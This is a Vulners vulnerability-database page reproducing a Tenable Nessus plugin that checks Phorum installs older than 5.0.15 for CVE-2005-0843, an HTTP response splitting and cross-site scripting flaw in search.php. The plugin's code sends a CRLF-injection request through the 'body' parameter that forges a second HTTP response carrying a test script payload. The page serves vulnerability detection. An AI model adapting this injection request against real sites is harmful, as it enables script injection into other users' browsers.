| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| Phorum < 5.0.15 HTML Injection | 14 Mar 200500:00 | – | nessus | |
| CVE-2005-0843 | 24 Mar 200505:00 | – | cve | |
| CVE-2005-0843 | 24 Mar 200505:00 | – | cvelist | |
| EUVD-2005-0844 | 7 Oct 202500:30 | – | euvd | |
| CVE-2005-0843 | 2 May 200504:00 | – | nvd |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/archive/1/393953 |
| phorum | www.phorum.org/story.php |
| cve | www.cve.mitre.org/cgi-bin/cvename.cgi |
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(17596);
script_version("1.19");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2005-0843");
script_bugtraq_id(12869);
script_name(english:"Phorum search.php location Parameter HTTP Response Splitting");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to a
cross-site scripting attack.");
script_set_attribute(attribute:"description", value:
"The version of Phorum installed on the remote host does not properly
sanitize input used in the Location response header. An attacker can
exploit this flaw with a specially crafted request to inject malicious
code into HTTP headers, which may allow execution of arbitrary HTML
and script code in a user's browser within the context of the remote
host.");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/393953");
script_set_attribute(attribute:"see_also", value:"https://www.phorum.org/story.php?48");
script_set_attribute(attribute:"solution", value:
"Upgrade to Phorum 5.0.15 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"vuln_publication_date", value:"2005/03/22");
script_set_attribute(attribute:"plugin_publication_date", value:"2005/03/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:phorum:phorum");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2005-2022 Tenable Network Security, Inc.");
script_dependencies("phorum_detect.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Test an install.
install = get_kb_item(string("www/", port, "/phorum"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
dir = matches[2];
# A vulnerable system will output a redirect along with the
# "response" in its body.
xss = "<html><script>alert('Nessus was here');</script></html>";
# nb: the url-encoded version is what we need to pass in.
exss = "%3Chtml%3E%3Cscript%3Ealert('Nessus%20was%20here')%3B%3C%2Fscript%3E%3C%2Fhtml%3E";
r = http_send_recv3(method:"GET",
item:string(
dir, "/search.php?",
"forum_id=0&",
"search=1&",
"match_forum=ALL&",
"body=%0d%0a",
"Content-Length:%200%0d%0a%0d%0a",
"HTTP/1.0%20200%20OK%0d%0a",
"Content-Type:%20text/html%0d%0a",
"Content-Length:%20", strlen(xss), "%0d%0a",
"%0d%0a",
exss, "%0d%0a",
"&",
"match_type=ALL&",
"author=1&",
"match_dates=30",
"subject=1&"
),
port:port
);
if (isnull(r)) exit(0);
# If we get back our text, there's a problem.
if (xss >< r[1] )
{
security_warning(port);
set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation